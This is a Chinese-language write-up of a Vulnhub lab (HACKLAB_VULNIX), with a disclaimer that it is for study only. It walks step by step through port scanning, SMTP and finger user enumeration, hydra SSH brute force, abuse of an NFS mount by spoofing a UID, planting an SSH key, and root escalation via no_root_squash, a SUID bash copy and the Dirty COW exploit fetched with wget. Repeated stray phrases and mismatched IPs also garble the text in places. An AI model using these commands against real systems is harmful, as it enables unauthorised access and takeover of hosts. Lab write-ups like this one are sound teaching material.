Vulnhub百个项目渗透
Vulnhub百个项目渗透——项目二十一:HACKLAB_VULNIX(NFS挂载,甄选靶场ssh毒化)
靶场地址
🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月22日🌴
🍭作者水平很有限,甄选靶场如果发现错误,甄选靶场还望告知,甄选靶场感谢!甄选靶场
巅峰之路
- Vulnhub百个项目渗透
- 前言
- 一、甄选靶场梳理流程
- 二、甄选靶场信息收集
- smtp信息枚举
- finger信息枚举
- RPC枚举
- 三、甄选靶场NFS枚举与挂载
- 四、甄选靶场SSH爆破
- 五、甄选靶场内网信息收集
- 六、甄选靶场SSH毒化
- 七、甄选靶场提权
- 方法一
- 方法二:
- 方法三
- 总结
前言
本文章仅用作实验学习,甄选靶场实验环境均为自行搭建的甄选靶场公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。甄选靶场本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
一、梳理流程
- 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
- 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
- 二次收集(基于已得到的服务或者主机再次信息收集)
- 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
- 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)
二、信息收集
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-21 22:42 EDTNmap scan report for 192.168.247.151Host is up (0.0012s latency).Not shown: 65518 closed tcp ports (reset)PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: | 1024 10:cd:9e:a0:e4:e0:30:24:3e:bd:67:5f:75:4a:33:bf (DSA)| 2048 bc:f9:24:07:2f:cb:76:80:0d:27:a6:48:52:0a:24:3a (RSA)|_ 256 4d:bb:4a:c1:18:e8:da:d1:82:6f:58:52:9c:ee:34:5f (ECDSA)25/tcp open smtp Postfix smtpd| ssl-cert: Subject: commonName=vulnix| Not valid before: 2012-09-02T17:40:12|_Not valid after: 2022-08-31T17:40:12|_ssl-date: 2022-09-22T02:45:41+00:00; +5s from scanner time.|_smtp-commands: vulnix, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN79/tcp open finger Linux fingerd|_finger: No one logged on.\x0D110/tcp open pop3?|_ssl-date: 2022-09-22T02:45:39+00:00; +5s from scanner time.| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server| Not valid before: 2012-09-02T17:40:22|_Not valid after: 2022-09-02T17:40:22111/tcp open rpcbind 2-4 (RPC #100000)| rpcinfo: | program version port/proto service| 100000 2,3,4 111/tcp rpcbind| 100000 2,3,4 111/udp rpcbind| 100000 3,4 111/tcp6 rpcbind| 100000 3,4 111/udp6 rpcbind| 100003 2,3,4 2049/tcp nfs| 100003 2,3,4 2049/tcp6 nfs| 100003 2,3,4 2049/udp nfs| 100003 2,3,4 2049/udp6 nfs| 100005 1,2,3 37426/udp6 mountd| 100005 1,2,3 38965/tcp6 mountd| 100005 1,2,3 46624/udp mountd| 100005 1,2,3 56153/tcp mountd| 100021 1,3,4 33877/udp nlockmgr| 100021 1,3,4 39911/tcp6 nlockmgr| 100021 1,3,4 44334/tcp nlockmgr| 100021 1,3,4 59606/udp6 nlockmgr| 100024 1 37688/udp6 status| 100024 1 38302/udp status| 100024 1 47460/tcp status| 100024 1 59425/tcp6 status| 100227 2,3 2049/tcp nfs_acl| 100227 2,3 2049/tcp6 nfs_acl| 100227 2,3 2049/udp nfs_acl|_ 100227 2,3 2049/udp6 nfs_acl143/tcp open imap Dovecot imapd| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server| Not valid before: 2012-09-02T17:40:22|_Not valid after: 2022-09-02T17:40:22|_ssl-date: 2022-09-22T02:45:40+00:00; +6s from scanner time.512/tcp open exec netkit-rsh rexecd513/tcp open login?514/tcp open tcpwrapped993/tcp open ssl/imap Dovecot imapd|_ssl-date: 2022-09-22T02:45:39+00:00; +5s from scanner time.| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server| Not valid before: 2012-09-02T17:40:22|_Not valid after: 2022-09-02T17:40:22995/tcp open ssl/pop3s?| ssl-cert: Subject: commonName=vulnix/organizationName=Dovecot mail server| Not valid before: 2012-09-02T17:40:22|_Not valid after: 2022-09-02T17:40:22|_ssl-date: 2022-09-22T02:45:39+00:00; +5s from scanner time.2049/tcp open nfs_acl 2-3 (RPC #100227)44334/tcp open nlockmgr 1-4 (RPC #100021)47460/tcp open status 1 (RPC #100024)53287/tcp open mountd 1-3 (RPC #100005)56153/tcp open mountd 1-3 (RPC #100005)57249/tcp open mountd 1-3 (RPC #100005)
- 开启了22端口的ssh,我们可以尝试登录,在获取到一定的账号后,可以尝试使用字典爆破登录
- 开启了smtp服务,可以利用他进行信息枚举
- finger 也可以出现信息泄露的问题
- pop3 是简单的邮件协议
- rpc --同样可以造成信息泄露
- nfs —挂载,这个是重点
必须要理解NFS权限是如何工作的:
NFS 通常与 Kerberos 配对以实现强大的身份验证机制,因为 NFS 本身仅根据用户的 UID/GID对用户进行身份验证;非常不安全
一旦NFS文件系统被远程主机以读/写权限成功挂载,每个共享文件的唯一保护就是它的权限。此权限绑定到用户的用户ID。如果共享相同用户ID的两个用户挂载相同的 NFS文件系统,可以修改彼此的文件。这是NFS的一项功能,UID/GUID或用户名/组名用于识别和验证客户端;如果没有keberos服务
由于目标没有 Kerberos 设置,因此只需找到经过身份验证以使用NFS的用户的UID和GUID(很可能是名为用户vulnix),并创建具有相同UID和GUID的用户。
但是没有目标中任何用户的UID或GID。这意味着目前无法访问 NFS 共享,即使挂载了该共享。
smtp信息枚举
利用的字典等都是kalI自带的smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.247.151-M ---用于猜测用户名 EXPN、VRFY 或 RCPT 的方法(默认值:VRFY)-U ---通过 smtp 服务检查的用户名文件-t ---host 服务器主机运行 smtp 服务
利用这个工具可以借助不安全配置的smtp所造成的信息泄露来获取一定的存在用户
finger信息枚举
finger命令用于查找并显示用户信息。包括本地与远端主机的用户皆可,帐号名称没有大小写的差别
finger user@192.168.147.151
finger泄露出来的信息是这样,说明它可以登录,对应的user开启了一个服务
这里也可以利用脚本批量测试finger
git clone https://github.com/Kan1shka9/Finger-User-Enumeration.gitcd Finger-User-Enumeration 然后该下sh文件IP:./finger_enum_user.sh user.txt
到这里我们已经获得了一个用户,那么我们就去爆破一下,看看ssh能不能登陆
RPC枚举
rpcinfo -p 192.168.247.151
与我们之前拿到的nmao扫描结果一致,这里就不说啥了
三、NFS枚举与挂载
showmount -e 192.168.247.151得到挂载目录如下/home/vulnix *那么我们现在就把这个文件夹挂载到我们本地mkdir nfs ---创建个挂载目录mount -t nfs 192.168.247.151:/home/vulnix /root/Desktop/21/nfs ---挂载vulnix目录cd nfs cd: 权限不够: nfs
此时共享已经完成,接下来只需要创建一个与那边的用户具有相同的id与gid用户即可
为了知道这个用户的id我们需要进去看一看,此时此刻唯一的办法就是ssh爆破
四、SSH爆破
我们已经大概知道了用户名是user那么就用rockyou的密码本去爆破
locate rockyou.txthydra -l user -P /root/Desktop/rockyou.txt 192.168.253.167 ssh -t 4
账号:user 密码:letmein
五、内网信息收集
ssh user@192.168.247.151letmeinyes cat /etc/passwd这是默认的目录,里面有用户的权限
知道了对应挂载目录的用户名是:vulnx,用户权限是2008
useradd -u 2008 vulnix
`这是因为我们依旧在root用户下,我们要将kali的本地用户切换成vulnix
切换过去以后访问nfs文件夹,这个时候不能算shell,因为不管怎样,这个用户始终在我们本地,我们也只是拥有对文件的访问的权限
此刻我们已经具有了读写的能力,那么为了进一步扩大战果,我们可以采用ssh写密钥的方式登录这个用户,因为
六、SSH毒化
ssh-keygen ---全部回车cd /root/.ssh cat id_rsa.pub ---里面的值复制在mnt目录下创建:mkdir .ssh cd .ssh 进去后写入:echo '' >authorized_keysssh vulnix@192.168.253.168 ---成功登录
七、提权
方法一
sudo -l回显信息如下:ser vulnix may run the following commands on this host: (root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports看到sudo提权,可以以root用户身份执行sudoedit /etc/exports,编辑/etc/exports该文件cat /etc/exports/home/vulnix *(rw,root_squash)root_squash: 客户端的root用户映射到任何人:客户端无法使用setuid位将恶意软件留给他人执行。no_root_squash:通过此选项,停用了此安全功能,从而允许客户端的root权限操作最终以root身份出现在导出的文件系统中(因此,在其余客户端中)sudoedit /etc/exports ---root权限编辑通过用no_root_squash替换root_squash来实现!危害:如果no_root_squash使用,远程 root 用户可以更改共享文件系统上的任何文件,并留下被木马感染的应用程序,让其他用户无意中执行。
总的来说,挂载区不仅仅存在着文件,信息的交互,也存在着权限的更迭,这是一个关于逻辑的问题
这里关于传shell有一个点:如果我们直接从本地传给靶机,那么我们的shell就是64位的,与靶场的32位环境不兼容的,如果是我们从靶场cp一个shell到他的挂载文件夹,那么就是32位的,因为那是他的原生shell。但是这又会导致权限不足的问题,那么我们再用root的kali把这个shell弄到另一个文件里,那么因为是root执行的,那么这个shell就会变成root
回到kali输入:df修改好后down掉挂载:umount /tmp/nfs ---全部挂载删除mount -t nfs 192.168.247.151:/home/vulnix /tmp/nfs ---重新在挂在到nfs新目录下1)在vulnixssh vulnix@192.168.253.167cp /bin/bash .2)在kali执行cat bash >dayu chmod 4777 dayu本地计算机的/bin/bash复制到/tmp/nfs并赋权./bash -p ---保留原始的shell权限id成功获得root权限!-p ---打开特权模式。在此模式下,不处理$ENV和$BASH_ENV文件,不从环境继承shell函数,并且如果 SHELLOPTS、BASHOPTS、CDPATH和GLOBIGNORE变量出现在环境中,它们将被忽略,如果shell不等于真实用户(组)id的有效用户(组)id就会启动,并且没有提供-p选项则执行这些操作并将有效用户id设置为真实用户ID。如果在启动时提供了-p选项,则不会重置有效的用户ID。关闭此选项会导致有效用户和组ID设置为真实用户和组ID。
方法二:
既然可以修改配置文件,那么就把root加进去,然后写密钥连接不就好了嘛
sudoedit /etc/exports这个地方修改为/root然后保存重启环境!showmount -e 192.168.253.167---这个时候就能看到root可以被挂载,然后我们直接挂就完事了mount -t nfs 192.168.247.151:/home/vulnix /tmp/nfs然后再跟之前一样的利用SSH登录即可
方法三
此环境需要32位同环境操作!
dirty_cow:40839cp /usr/share/exploitdb/exploits/linux/local/40839.c .gcc 40839.c -lcrypt -pthread -o exppython -m SimpleHTTPServer 8081wget http://192.168.253.138:8081/expchmod +x exp./exp ---它会要求输入任何密码!此脚本会将root用户典当为firefart用户!以firefart用户身份使用ssh登录:ssh firefart@192.168.253.167打开/etc/passwd文件将firefart更改为root在以root登录ssh root@192.168.253.167
总结
1)通过telnet连接收集用户名敏感信息
2)finger查看用户登录信息
3)使用rpcinfo进行RPC枚举
4)使用showmount进行NFS枚举
5)hydra爆破ssh密码
6)ssh-key毒化攻击getshell
7)特定linux UID权限用户登录挂载的NFS分区
8)使用ssh私匙登录ssh
9)用no_root_squash替换root_squash以停用安全功能,从而允许客户端的root权限操作最终使文件以root身份出现在导出的文件系统中(在其余客户端中)
10)客户端本地以root身份运行cat命令拷贝shell文件,并chmod 4777赋予权限,最后执行shell文件加上-p参数提权